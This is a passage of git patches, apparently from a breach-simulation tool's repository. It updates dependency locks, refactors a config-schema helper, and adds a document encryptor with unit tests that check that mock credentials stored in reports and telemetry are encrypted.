], "markers": "python_version >= '3.6'", - "version": "==1.21.45" + "version": "==1.21.46" }, "certifi": { "hashes": [ @@ -189,6 +189,14 @@ "markers": "python_version >= '3.6'", "version": "==8.0.1" }, + "colorama": { + "hashes": [ + "sha256:5941b2b48a20143d2267e95b1c2a7603ce057ee39fd88e7329b0c292aa16869b", + "sha256:9f47eda37229f68eee03b24b9748937c7dc3868f906e8ba69fbcbdd3bc5dc3e2" + ], + "markers": "platform_system == 'Windows' and sys_platform == 'win32' and platform_system == 'Windows'", + "version": "==0.4.4" + }, "coloredlogs": { "hashes": [ "sha256:34fad2e342d5a559c31b6c889e8d14f97cb62c47d9a2ae7b5ed14ea10a79eff8", @@ -221,51 +229,6 @@ "index": "pypi", "version": "==2.5" }, - "cython": { - "hashes": [ - "sha256:09ac3087ac7a3d489ebcb3fb8402e00c13d1a3a1c6bc73fd3b0d756a3e341e79", - "sha256:0a142c6b862e6ed6b02209d543062c038c110585b5e32d1ad7c9717af4f07e41", - "sha256:0d414458cb22f8a90d64260da6dace5d5fcebde43f31be52ca51f818c46db8cb", - "sha256:10cb3def9774fa99e4583617a5616874aed3255dc241fd1f4a3c2978c78e1c53", - "sha256:112efa54a58293a4fb0acf0dd8e5b3736e95b595eee24dd88615648e445abe41", - "sha256:166f9f29cd0058ce1a14a7b3a2458b849ed34b1ec5fd4108af3fdd2c24afcbb0", - "sha256:2d9e61ed1056a3b6a4b9156b62297ad18b357a7948e57a2f49b061217696567e", - "sha256:2f41ef7edd76dd23315925e003f0c58c8585f3ab24be6885c4b3f60e77c82746", - "sha256:37bcfa5df2a3009f49624695d917c3804fccbdfcdc5eda6378754a879711a4d5", - "sha256:416046a98255eff97ec02077d20ebeaae52682dfca1c35aadf31260442b92514", - "sha256:4cf4452f0e4d50e11701bca38f3857fe6fa16593e7fd6a4d5f7be66f611b7da2", - "sha256:55b0ee28c2c8118bfb3ad9b25cf7a6cbd724e442ea96956e32ccd908d5e3e043", - "sha256:5dd56d0be50073f0e54825a8bc3393852de0eed126339ecbca0ae149dba55cfc", - "sha256:5fa12ebafc2f688ea6d26ab6d1d2e634a9872509ba7135b902bb0d8b368fb04b", - "sha256:5fb977945a2111f6b64501fdf7ed0ec162cc502b84457fd648d6a558ea8de0d6", - "sha256:60c958bcab0ff315b4036a949bed1c65334e1f6a69e17e9966d742febb59043a", - "sha256:661dbdea519d9cfb288867252b75fef73ffa8e8bb674cec27acf70646afb369b", - "sha256:6a2cf2ccccc25413864928dfd730c29db6f63eaf98206c1e600003a445ca7f58", - "sha256:6ade74eece909fd3a437d9a5084829180751d7ade118e281e9824dd75eafaff2", - "sha256:73ac33a4379056a02031baa4def255717fadb9181b5ac2b244792d53eae1c925", - "sha256:76cbca0188d278e93d12ebdaf5990678e6e436485fdfad49dbe9b07717d41a3c", - "sha256:774cb8fd931ee1ba52c472bc1c19077cd6895c1b24014ae07bb27df59aed5ebe", - "sha256:821c2d416ad7d006b069657ee1034c0e0cb45bdbe9ab6ab631e8c495dfcfa4ac", - "sha256:84826ec1c11cda56261a252ddecac0c7d6b02e47e81b94f40b27b4c23c29c17c", - "sha256:854fe2193d3ad4c8b61932ff54d6dbe10c5fa8749eb8958d72cc0ab28243f833", - "sha256:88dc3c250dec280b0489a83950b15809762e27232f4799b1b8d0bad503f5ab84", - "sha256:8cb87777e82d1996aef6c146560a19270684271c9c669ba62ac6803b3cd2ff82", - "sha256:91339ee4b465924a3ea4b2a9cec7f7227bc4cadf673ce859d24c2b9ef60b1214", - "sha256:9164aeef1af6f837e4fc20402a31d256188ba4d535e262c6cb78caf57ad744f8", - "sha256:a102cfa795c6b3b81a29bdb9dbec545367cd7f353c03e6f30a056fdfefd92854", - "sha256:ad43e684ade673565f6f9d6638015112f6c7f11aa2a632167b79014f613f0f5f", - "sha256:afb521523cb46ddaa8d269b421f88ea2731fee05e65b952b96d4db760f5a2a1c", - "sha256:b28f92e617f540d3f21f8fd479a9c6491be920ffff672a4c61b7fc4d7f749f39", - "sha256:bc05de569f811be1fcfde6756c9048ae518f0c4b6d9f8f024752c5365d934cac", - "sha256:cdf04d07c3600860e8c2ebaad4e8f52ac3feb212453c1764a49ac08c827e8443", - "sha256:d8d1a087f35e39384303f5e6b75d465d6f29d746d7138eae9d3b6e8e6f769eae", - "sha256:eb2843f8cc01c645725e6fc690a84e99cdb266ce8ebe427cf3a680ff09f876aa", - "sha256:f2e9381497b12e8f622af620bde0d1d094035d79b899abb2ddd3a7891f535083", - "sha256:f96411f0120b5cae483923aaacd2872af8709be4b46522daedc32f051d778385" - ], - "index": "pypi", - "version": "==0.29.24" - }, "dnspython": { "hashes": [ "sha256:95d12f6ef0317118d2a1a6fc49aac65ffec7eb8087474158f42f26a639135216", @@ -835,6 +798,15 @@ "index": "pypi", "version": "==0.3.12" }, + "pyreadline": { + "hashes": [ + "sha256:4530592fc2e85b25b1a9f79664433da09237c1a270e4d78ea5aa3a2c7229e2d1", + "sha256:65540c21bfe14405a3a77e4c085ecfce88724743a4ead47c66b84defcf82c32e", + "sha256:9ce5fa65b8992dfa373bddc5b6e0864ead8f291c94fbfec05fbd5c836162e67b" + ], + "markers": "python_version < '3.8' and sys_platform == 'win32'", + "version": "==2.1" + }, "pysmb": { "hashes": [ "sha256:7aedd5e003992c6c78b41a0da4bf165359a46ea25ab2a9a1594d13f471ad7287" @@ -843,9 +815,20 @@ "version": "==1.2.5" }, "pyspnego": { - "editable": true, - "git": "https://github.com/jborean93/pyspnego", - "ref": "3f748f210e4fb6b186b0036e1a0bf38762d64c37" + "hashes": [ + "sha256:0d0946a8972bf8409ff79e24ca2c7aecf82e097f9d3f13571b92493869a5e08e", + "sha256:0d9916fffee507fe38d84a86c97d687408769d079c969852da5ec866564c466d", + "sha256:14a6f7e39168748fc7a6e800449aad0a7a6317036e2a8baee5e20f6044d3115a", + "sha256:1ca9f6720da219f3f7d793a975be2c54e16509b4a85b2d85b359e96a1d7bdf4d", + "sha256:1cf02e202b4c5a56e2267d781b54bd455802acf6fd7f68eb6ea92ed7610b3689", + "sha256:617c07328241e9e6b5fc7c632c03bab16d57a048641106daeede7b58fa1eae75", + "sha256:8691881997865882950c0843b62e4e153920e17496dd7ed58f610c06e49dfa8b", + "sha256:a100ab53bc552a6c1f382eea0728153ef2d023176c8fc890aaeb9bee8eff7224", + "sha256:b9fcd419ee6686a3026069b8bfa70406c821ece7d57ff4b94d4738963838b640", + "sha256:fb4b052636be4237204272b61f6e346d9eadecc55a7e9d1ad12703a9321acd20" + ], + "markers": "python_version >= '3.6'", + "version": "==0.2.0" }, "python-dateutil": { "hashes": [ @@ -862,6 +845,22 @@ ], "version": "==2021.1" }, + "pywin32": { + "hashes": [ + "sha256:595d397df65f1b2e0beaca63a883ae6d8b6df1cdea85c16ae85f6d2e648133fe", + "sha256:87604a4087434cd814ad8973bd47d6524bd1fa9e971ce428e76b62a5e0860fdf", + "sha256:88981dd3cfb07432625b180f49bf4e179fb8cbb5704cd512e38dd63636af7a17", + "sha256:8c9d33968aa7fcddf44e47750e18f3d034c3e443a707688a008a2e52bbef7e96", + "sha256:93367c96e3a76dfe5003d8291ae16454ca7d84bb24d721e0b74a07610b7be4a7", + "sha256:9635df6998a70282bd36e7ac2a5cef9ead1627b0a63b17c731312c7a0daebb72", + "sha256:98f62a3f60aa64894a290fb7494bfa0bfa0a199e9e052e1ac293b2ad3cd2818b", + "sha256:c866f04a182a8cb9b7855de065113bbd2e40524f570db73ef1ee99ff0a5cc2f0", + "sha256:dafa18e95bf2a92f298fe9c582b0e205aca45c55f989937c52c454ce65b93c78", + "sha256:fb3b4933e0382ba49305cc6cd3fb18525df7fd96aa434de19ce0878133bf8e4a" + ], + "markers": "python_version < '3.10' and sys_platform == 'win32' and implementation_name == 'cpython'", + "version": "==301" + }, "requests": { "hashes": [ "sha256:6c1246513ecd5ecd4528a0906f910e8f0f9c6b8ec72030dc9fd154dc1a6efd24", @@ -1009,7 +1008,7 @@ "sha256:a2ad9c0f6d70f6e0e0d1f54b8582054c62d8a09f346b5ccaf55da68628ca10e1", "sha256:a64624a25fc2d3663a2c5376c5291f3c7531e9c8051571de9ca9db8bf25746c2" ], - "markers": "python_version >= '3.6'", + "markers": "platform_system == 'Windows'", "version": "==0.0.9" }, "winsys-3.x": { @@ -1024,6 +1023,7 @@ "sha256:1d6b085e5c445141c475476000b661f60fff1aaa19f76bf82b7abb92e0ff4942", "sha256:b6a6be5711b1b6c8d55bda7a8befd75c48c12b770b9d227d31c1737dbf0d40a6" ], + "index": "pypi", "markers": "sys_platform == 'win32'", "version": "==1.5.1" }, From 4a65ac37efdd503d08e1323b27bdbfb5b91ac96d Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 24 Sep 2021 12:30:11 +0530 Subject: [PATCH 212/454] island: Use dict's `get()` method to shorten `get_config_schema_per_attack_technique()` in config_schema_per_attack_technique.py --- .../config_schema/config_schema_per_attack_technique.py | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py b/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py index bcaa5a2af..0ef4ed0a6 100644 --- a/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py +++ b/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py @@ -22,11 +22,10 @@ def get_config_schema_per_attack_technique() -> Dict[str, Dict[str, List[str]]]: definition_type = definitions[definition]["title"] for field in definitions[definition]["anyOf"]: config_field = field["title"] - if "attack_techniques" in field: - for attack_technique in field["attack_techniques"]: - _add_config_field_to_reverse_schema( - definition_type, config_field, attack_technique, reverse_schema - ) + for attack_technique in field.get("attack_techniques", []): + _add_config_field_to_reverse_schema( + definition_type, config_field, attack_technique, reverse_schema + ) return reverse_schema From f3da34e9696ffd28ced894739737861ab8cdc234 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 24 Sep 2021 12:39:15 +0530 Subject: [PATCH 213/454] island: Use dict's `setdefault()` to shorten `_add_config_field_to_reverse_schema()` in config_schema_per_attack_technique.py --- .../config_schema/config_schema_per_attack_technique.py | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py b/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py index 0ef4ed0a6..61fcae807 100644 --- a/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py +++ b/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py @@ -34,11 +34,7 @@ def _add_config_field_to_reverse_schema( definition_type: str, config_field: str, attack_technique: str, reverse_schema: Dict ) -> None: if attack_technique in reverse_schema: - technique = reverse_schema[attack_technique] - if definition_type in technique: - technique[definition_type].append(config_field) - else: - technique[definition_type] = [config_field] + reverse_schema[attack_technique].setdefault(definition_type, []).append(config_field) else: reverse_schema[attack_technique] = {definition_type: [config_field]} From f2470bb0e90204fcfe85dc452c73e3b78076a88a Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 24 Sep 2021 15:52:34 +0530 Subject: [PATCH 214/454] tests: Add unit test for `get_config_schema_per_attack_technique()` in config_schema_per_attack_technique.py --- ...test_config_schema_per_attack_technique.py | 67 +++++++++++++++++++ 1 file changed, 67 insertions(+) create mode 100644 monkey/tests/unit_tests/monkey_island/cc/services/config_schema/test_config_schema_per_attack_technique.py diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/config_schema/test_config_schema_per_attack_technique.py b/monkey/tests/unit_tests/monkey_island/cc/services/config_schema/test_config_schema_per_attack_technique.py new file mode 100644 index 000000000..2827fd302 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/services/config_schema/test_config_schema_per_attack_technique.py @@ -0,0 +1,67 @@ +from monkey_island.cc.services.config_schema.config_schema_per_attack_technique import ( + get_config_schema_per_attack_technique, +) + +FAKE_SCHEMA = { + "definitions": { + "definition_type_1": { + "title": "Definition Type 1", + "anyOf": [ + { + "title": "Config Option 1", + "attack_techniques": ["T0000", "T0001"], + }, + { + "title": "Config Option 2", + "attack_techniques": ["T0000"], + }, + { + "title": "Config Option 3", + "attack_techniques": [], + }, + { + "title": "Config Option 4", + }, + ], + }, + "definition_type_2": { + "title": "Definition Type 2", + "anyOf": [ + { + "title": "Config Option 5", + "attack_techniques": ["T0000", "T0001"], + }, + { + "title": "Config Option 6", + "attack_techniques": ["T0000"], + }, + { + "title": "Config Option 7", + "attack_techniques": [], + }, + { + "title": "Config Option 8", + }, + ], + }, + } +} + +REVERSE_FAKE_SCHEMA = { + "T0000": { + "Definition Type 1": ["Config Option 1", "Config Option 2"], + "Definition Type 2": ["Config Option 5", "Config Option 6"], + }, + "T0001": { + "Definition Type 1": ["Config Option 1"], + "Definition Type 2": ["Config Option 5"], + }, +} + + +def test_get_config_schema_per_attack_technique(monkeypatch): + monkeypatch.setattr( + "monkey_island.cc.services.config_schema.config_schema_per_attack_technique.SCHEMA", + FAKE_SCHEMA, + ) + assert get_config_schema_per_attack_technique() == REVERSE_FAKE_SCHEMA From f1c7cf40477686e32b83f0c3bc33789a46e47420 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 21 Sep 2021 15:32:05 +0300 Subject: [PATCH 215/454] Generalize report_encryptor.py into document_encryptor.py and extract the sensitive fields to report_encryptor.py --- .../cc/models/utils/document_encryptor.py | 54 +++++++++++++++++++ .../cc/models/utils/report_encryptor.py | 50 ----------------- .../monkey_island/cc/models/__init__.py | 0 3 files changed, 54 insertions(+), 50 deletions(-) create mode 100644 monkey/monkey_island/cc/models/utils/document_encryptor.py create mode 100644 monkey/tests/unit_tests/monkey_island/cc/models/__init__.py diff --git a/monkey/monkey_island/cc/models/utils/document_encryptor.py b/monkey/monkey_island/cc/models/utils/document_encryptor.py new file mode 100644 index 000000000..0a0c2a62e --- /dev/null +++ b/monkey/monkey_island/cc/models/utils/document_encryptor.py @@ -0,0 +1,54 @@ +from abc import ABC, abstractmethod +from dataclasses import dataclass +from typing import Callable, List, Type + +import dpath.util + +from monkey_island.cc.models.utils.field_types.field_type_abc import FieldTypeABC + + +@dataclass +class SensitiveField: + path: str + path_separator = "." + field_type: Type[FieldTypeABC] + + +class DocumentEncryptor(ABC): + @property + @abstractmethod + def sensitive_fields(self) -> List[SensitiveField]: + pass + + @classmethod + def encrypt(cls, document_dict: dict) -> dict: + for sensitive_field in cls.sensitive_fields: + DocumentEncryptor._apply_operation_to_document_field( + document_dict, sensitive_field, sensitive_field.field_type.encrypt + ) + + return document_dict + + @classmethod + def decrypt(cls, document_dict: dict) -> dict: + for sensitive_field in cls.sensitive_fields: + DocumentEncryptor._apply_operation_to_document_field( + document_dict, sensitive_field, sensitive_field.field_type.decrypt + ) + return document_dict + + @staticmethod + def _apply_operation_to_document_field( + report: dict, sensitive_field: SensitiveField, operation: Callable + ): + field_value = dpath.util.get( + report, sensitive_field.path, sensitive_field.path_separator, None + ) + if field_value is None: + raise Exception( + f"Can't encrypt object because the path {sensitive_field.path} doesn't exist." + ) + + modified_value = operation(field_value) + + dpath.util.set(report, sensitive_field.path, modified_value, sensitive_field.path_separator) diff --git a/monkey/monkey_island/cc/models/utils/report_encryptor.py b/monkey/monkey_island/cc/models/utils/report_encryptor.py index d5e31f4d8..e69de29bb 100644 --- a/monkey/monkey_island/cc/models/utils/report_encryptor.py +++ b/monkey/monkey_island/cc/models/utils/report_encryptor.py @@ -1,50 +0,0 @@ -from dataclasses import dataclass -from typing import Callable, Type - -import dpath.util - -from monkey_island.cc.models.utils.field_encryptors.i_field_encryptor import IFieldEncryptor -from monkey_island.cc.models.utils.field_encryptors.string_list_encryptor import StringListEncryptor - - -@dataclass -class SensitiveField: - path: str - path_separator = "." - field_type: Type[IFieldEncryptor] - - -sensitive_fields = [ - SensitiveField(path="overview.config_passwords", field_type=StringListEncryptor) -] - - -def encrypt(report: dict) -> dict: - for sensitive_field in sensitive_fields: - _apply_operation_to_report_field( - report, sensitive_field, sensitive_field.field_type.encrypt - ) - - return report - - -def decrypt(report: dict) -> dict: - for sensitive_field in sensitive_fields: - _apply_operation_to_report_field( - report, sensitive_field, sensitive_field.field_type.decrypt - ) - return report - - -def _apply_operation_to_report_field( - report: dict, sensitive_field: SensitiveField, operation: Callable -): - field_value = dpath.util.get(report, sensitive_field.path, sensitive_field.path_separator, None) - if field_value is None: - raise Exception( - f"Can't encrypt object because the path {sensitive_field.path} doesn't exist." - ) - - modified_value = operation(field_value) - - dpath.util.set(report, sensitive_field.path, modified_value, sensitive_field.path_separator) diff --git a/monkey/tests/unit_tests/monkey_island/cc/models/__init__.py b/monkey/tests/unit_tests/monkey_island/cc/models/__init__.py new file mode 100644 index 000000000..e69de29bb From f3865d022bb25365ebb9749beb3e1a8e86ba6040 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 22 Sep 2021 13:41:40 +0300 Subject: [PATCH 216/454] Change mongomock_fixtures.py to drop the whole database instead of specified collections. This makes it easier to add new database related tests, because we no longer need to modify the mongomock_fixtures.py to also drop a particular collection we are testing. --- .../monkey_island/cc/mongomock_fixtures.py | 22 +++++-------------- 1 file changed, 5 insertions(+), 17 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/mongomock_fixtures.py b/monkey/tests/unit_tests/monkey_island/cc/mongomock_fixtures.py index 26a41685a..aa00aa69a 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/mongomock_fixtures.py +++ b/monkey/tests/unit_tests/monkey_island/cc/mongomock_fixtures.py @@ -1,32 +1,20 @@ import mongoengine import pytest -from monkey_island.cc.models import Monkey -from monkey_island.cc.models.edge import Edge -from monkey_island.cc.models.zero_trust.finding import Finding +MOCK_DB_NAME = "mongoenginetest" @pytest.fixture(scope="module", autouse=True) def change_to_mongo_mock(): # Make sure tests are working with mongomock mongoengine.disconnect() - mongoengine.connect("mongoenginetest", host="mongomock://localhost") + mongoengine.connect(MOCK_DB_NAME, host="mongomock://localhost") @pytest.fixture(scope="function") def uses_database(): - _clean_edge_db() - _clean_monkey_db() - _clean_finding_db() + _drop_database() -def _clean_monkey_db(): - Monkey.objects().delete() - - -def _clean_edge_db(): - Edge.objects().delete() - - -def _clean_finding_db(): - Finding.objects().delete() +def _drop_database(): + mongoengine.connection.get_connection().drop_database(MOCK_DB_NAME) From 854ce4e1e1a0bde6698d266418aec954151bf7f5 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 22 Sep 2021 15:36:51 +0300 Subject: [PATCH 217/454] Refactor DocumentEncryptor class into a series of methods. DocumentEncryptor class serves no purpose because it holds no state, sensitive_fields can be passed as a parameter to methods --- monkey/monkey_island/cc/models/report.py | 14 +++- .../__init__.py} | 0 .../monkey_island/cc/models/utils/__init__.py | 0 .../cc/models/utils/document_encryptor.py | 70 +++++++++---------- .../models/utils/field_encryptors/__init__.py | 0 .../cc/models/test_report_model.py | 20 +++--- 6 files changed, 52 insertions(+), 52 deletions(-) rename monkey/monkey_island/cc/models/{utils/report_encryptor.py => telemetries/__init__.py} (100%) create mode 100644 monkey/monkey_island/cc/models/utils/__init__.py create mode 100644 monkey/monkey_island/cc/models/utils/field_encryptors/__init__.py diff --git a/monkey/monkey_island/cc/models/report.py b/monkey/monkey_island/cc/models/report.py index 4158a5244..fb1ab3cea 100644 --- a/monkey/monkey_island/cc/models/report.py +++ b/monkey/monkey_island/cc/models/report.py @@ -3,7 +3,13 @@ from __future__ import annotations from bson import json_util from mongoengine import DictField, Document -from monkey_island.cc.models.utils import report_encryptor +from monkey_island.cc.models.utils import document_encryptor +from monkey_island.cc.models.utils.document_encryptor import SensitiveField +from monkey_island.cc.models.utils.field_encryptors.string_list_encryptor import StringListEncryptor + +sensitive_fields = [ + SensitiveField(path="overview.config_passwords", field_encryptor=StringListEncryptor) +] class Report(Document): @@ -18,7 +24,7 @@ class Report(Document): @staticmethod def save_report(report_dict: dict): report_dict = _encode_dot_char_before_mongo_insert(report_dict) - report_dict = report_encryptor.encrypt(report_dict) + report_dict = document_encryptor.encrypt(sensitive_fields, report_dict) Report.objects.delete() Report( overview=report_dict["overview"], @@ -30,7 +36,9 @@ class Report(Document): @staticmethod def get_report() -> dict: report_dict = Report.objects.first().to_mongo() - return _decode_dot_char_before_mongo_insert(report_encryptor.decrypt(report_dict)) + return _decode_dot_char_before_mongo_insert( + document_encryptor.decrypt(sensitive_fields, report_dict) + ) def _encode_dot_char_before_mongo_insert(report_dict): diff --git a/monkey/monkey_island/cc/models/utils/report_encryptor.py b/monkey/monkey_island/cc/models/telemetries/__init__.py similarity index 100% rename from monkey/monkey_island/cc/models/utils/report_encryptor.py rename to monkey/monkey_island/cc/models/telemetries/__init__.py diff --git a/monkey/monkey_island/cc/models/utils/__init__.py b/monkey/monkey_island/cc/models/utils/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/monkey_island/cc/models/utils/document_encryptor.py b/monkey/monkey_island/cc/models/utils/document_encryptor.py index 0a0c2a62e..afec95afa 100644 --- a/monkey/monkey_island/cc/models/utils/document_encryptor.py +++ b/monkey/monkey_island/cc/models/utils/document_encryptor.py @@ -1,54 +1,48 @@ -from abc import ABC, abstractmethod from dataclasses import dataclass from typing import Callable, List, Type import dpath.util -from monkey_island.cc.models.utils.field_types.field_type_abc import FieldTypeABC +from monkey_island.cc.models.utils.field_encryptors.i_field_encryptor import IFieldEncryptor + + +class FieldNotFoundError(Exception): + pass @dataclass class SensitiveField: path: str path_separator = "." - field_type: Type[FieldTypeABC] + field_encryptor: Type[IFieldEncryptor] -class DocumentEncryptor(ABC): - @property - @abstractmethod - def sensitive_fields(self) -> List[SensitiveField]: - pass - - @classmethod - def encrypt(cls, document_dict: dict) -> dict: - for sensitive_field in cls.sensitive_fields: - DocumentEncryptor._apply_operation_to_document_field( - document_dict, sensitive_field, sensitive_field.field_type.encrypt - ) - - return document_dict - - @classmethod - def decrypt(cls, document_dict: dict) -> dict: - for sensitive_field in cls.sensitive_fields: - DocumentEncryptor._apply_operation_to_document_field( - document_dict, sensitive_field, sensitive_field.field_type.decrypt - ) - return document_dict - - @staticmethod - def _apply_operation_to_document_field( - report: dict, sensitive_field: SensitiveField, operation: Callable - ): - field_value = dpath.util.get( - report, sensitive_field.path, sensitive_field.path_separator, None +def encrypt(sensitive_fields: List[SensitiveField], document_dict: dict) -> dict: + for sensitive_field in sensitive_fields: + _apply_operation_to_document_field( + document_dict, sensitive_field, sensitive_field.field_encryptor.encrypt ) - if field_value is None: - raise Exception( - f"Can't encrypt object because the path {sensitive_field.path} doesn't exist." - ) - modified_value = operation(field_value) + return document_dict - dpath.util.set(report, sensitive_field.path, modified_value, sensitive_field.path_separator) + +def decrypt(sensitive_fields: List[SensitiveField], document_dict: dict) -> dict: + for sensitive_field in sensitive_fields: + _apply_operation_to_document_field( + document_dict, sensitive_field, sensitive_field.field_encryptor.decrypt + ) + return document_dict + + +def _apply_operation_to_document_field( + report: dict, sensitive_field: SensitiveField, operation: Callable +): + field_value = dpath.util.get(report, sensitive_field.path, sensitive_field.path_separator, None) + if field_value is None: + raise FieldNotFoundError( + f"Can't encrypt object because the path {sensitive_field.path} doesn't exist." + ) + + modified_value = operation(field_value) + + dpath.util.set(report, sensitive_field.path, modified_value, sensitive_field.path_separator) diff --git a/monkey/monkey_island/cc/models/utils/field_encryptors/__init__.py b/monkey/monkey_island/cc/models/utils/field_encryptors/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/tests/unit_tests/monkey_island/cc/models/test_report_model.py b/monkey/tests/unit_tests/monkey_island/cc/models/test_report_model.py index 6ad1a78fb..b88b7d0b0 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/models/test_report_model.py +++ b/monkey/tests/unit_tests/monkey_island/cc/models/test_report_model.py @@ -4,8 +4,8 @@ from typing import List import pytest from monkey_island.cc.models import Report +from monkey_island.cc.models.utils.document_encryptor import SensitiveField from monkey_island.cc.models.utils.field_encryptors.i_field_encryptor import IFieldEncryptor -from monkey_island.cc.models.utils.report_encryptor import SensitiveField MOCK_SENSITIVE_FIELD_CONTENTS = ["the_string", "the_string2"] MOCK_REPORT_DICT = { @@ -19,32 +19,30 @@ MOCK_REPORT_DICT = { } -class MockFieldEncryptor(IFieldEncryptor): +class MockStringListEncryptor(IFieldEncryptor): plaintext = [] @staticmethod def encrypt(value: List[str]) -> List[str]: - return [MockFieldEncryptor._encrypt(v) for v in value] + return [MockStringListEncryptor._encrypt(v) for v in value] @staticmethod def _encrypt(value: str) -> str: - MockFieldEncryptor.plaintext.append(value) - return f"ENCRYPTED_{str(len(MockFieldEncryptor.plaintext) - 1)}" + MockStringListEncryptor.plaintext.append(value) + return f"ENCRYPTED_{str(len(MockStringListEncryptor.plaintext) - 1)}" @staticmethod def decrypt(value: List[str]) -> List[str]: - return MockFieldEncryptor.plaintext + return MockStringListEncryptor.plaintext @pytest.fixture(autouse=True) def patch_sensitive_fields(monkeypatch): mock_sensitive_fields = [ - SensitiveField("overview.foo.the_key", MockFieldEncryptor), - SensitiveField("overview.bar.the_key", MockFieldEncryptor), + SensitiveField("overview.foo.the_key", MockStringListEncryptor), + SensitiveField("overview.bar.the_key", MockStringListEncryptor), ] - monkeypatch.setattr( - "monkey_island.cc.models.utils.report_encryptor.sensitive_fields", mock_sensitive_fields - ) + monkeypatch.setattr("monkey_island.cc.models.report.sensitive_fields", mock_sensitive_fields) @pytest.mark.usefixtures("uses_database") From b2db5e77c4bb65faee70037ba3b8490b79670c3a Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 22 Sep 2021 15:38:03 +0300 Subject: [PATCH 218/454] Change test_string_list_encryptor.py to re-use fixture "uses_encryptor" rather than implementing the same fixture locally --- monkey/tests/unit_tests/monkey_island/cc/conftest.py | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/monkey/tests/unit_tests/monkey_island/cc/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/conftest.py index 438ee3fef..f7d28b9de 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/cc/conftest.py @@ -10,6 +10,8 @@ from tests.unit_tests.monkey_island.cc.server_utils.encryption.test_password_bas STANDARD_PLAINTEXT_MONKEY_CONFIG_FILENAME, ) +from monkey_island.cc.server_utils.encryptor import initialize_encryptor + @pytest.fixture def monkey_config(data_for_tests_dir): @@ -23,3 +25,8 @@ def monkey_config(data_for_tests_dir): @pytest.fixture def monkey_config_json(monkey_config): return json.dumps(monkey_config) + + +@pytest.fixture +def uses_encryptor(data_for_tests_dir): + initialize_encryptor(data_for_tests_dir) From 989d0ffd846d764cff62d2de66d684a73c5f28c6 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 22 Sep 2021 16:10:32 +0300 Subject: [PATCH 219/454] Add unit tests for telemetry model --- .../telemetries/test_telemetry_model.py | 89 +++++++++++++++++++ 1 file changed, 89 insertions(+) create mode 100644 monkey/tests/unit_tests/monkey_island/cc/models/telemetries/test_telemetry_model.py diff --git a/monkey/tests/unit_tests/monkey_island/cc/models/telemetries/test_telemetry_model.py b/monkey/tests/unit_tests/monkey_island/cc/models/telemetries/test_telemetry_model.py new file mode 100644 index 000000000..578aff235 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/models/telemetries/test_telemetry_model.py @@ -0,0 +1,89 @@ +from copy import deepcopy +from datetime import datetime + +import pytest + +from monkey_island.cc.models.telemetries.telemetry import Telemetry +from monkey_island.cc.models.utils.document_encryptor import SensitiveField +from monkey_island.cc.models.utils.field_encryptors.mimikatz_results_encryptor import ( + MimikatzResultsEncryptor, +) + +MOCK_CREDENTIALS = { + "Vakaris": { + "username": "M0nk3y", + "password": "", + "ntlm_hash": "e87f2f73e353f1d95e42ce618601b61f", + "lm_hash": "", + }, + "user": {"username": "user", "password": "test", "ntlm_hash": "", "lm_hash": ""}, +} + +MOCK_DATA_DICT = { + "network_info": {}, + "credentials": deepcopy(MOCK_CREDENTIALS), + "mimikatz": deepcopy(MOCK_CREDENTIALS), +} + +MOCK_TELEMETRY = { + "timestamp": datetime.now(), + "command_control_channel": { + "src": "192.168.56.1", + "dst": "192.168.56.2", + }, + "monkey_guid": "211375648895908", + "telem_category": "system_info", + "data": MOCK_DATA_DICT, +} + +MOCK_NO_ENCRYPTION_NEEDED_TELEMETRY = { + "timestamp": datetime.now(), + "command_control_channel": { + "src": "192.168.56.1", + "dst": "192.168.56.2", + }, + "monkey_guid": "211375648895908", + "telem_category": "state", + "data": {"done": False}, +} + +MOCK_SENSITIVE_FIELDS = [ + SensitiveField("data.credentials", MimikatzResultsEncryptor), + SensitiveField("data.mimikatz", MimikatzResultsEncryptor), +] + + +@pytest.fixture(autouse=True) +def patch_sensitive_fields(monkeypatch): + monkeypatch.setattr( + "monkey_island.cc.models.telemetries.telemetry.sensitive_fields", + MOCK_SENSITIVE_FIELDS, + ) + + +@pytest.mark.usefixtures("uses_database", "uses_encryptor") +def test_telemetry_encryption(monkeypatch): + + Telemetry.save_telemetry(MOCK_TELEMETRY) + assert ( + not Telemetry.objects.first()["data"]["credentials"]["user"]["password"] + == MOCK_CREDENTIALS["user"]["password"] + ) + assert ( + not Telemetry.objects.first()["data"]["mimikatz"]["Vakaris"]["ntlm_hash"] + == MOCK_CREDENTIALS["Vakaris"]["ntlm_hash"] + ) + assert ( + Telemetry.get_telemetry()["data"]["credentials"]["user"]["password"] + == MOCK_CREDENTIALS["user"]["password"] + ) + assert ( + Telemetry.get_telemetry()["data"]["mimikatz"]["Vakaris"]["ntlm_hash"] + == MOCK_CREDENTIALS["Vakaris"]["ntlm_hash"] + 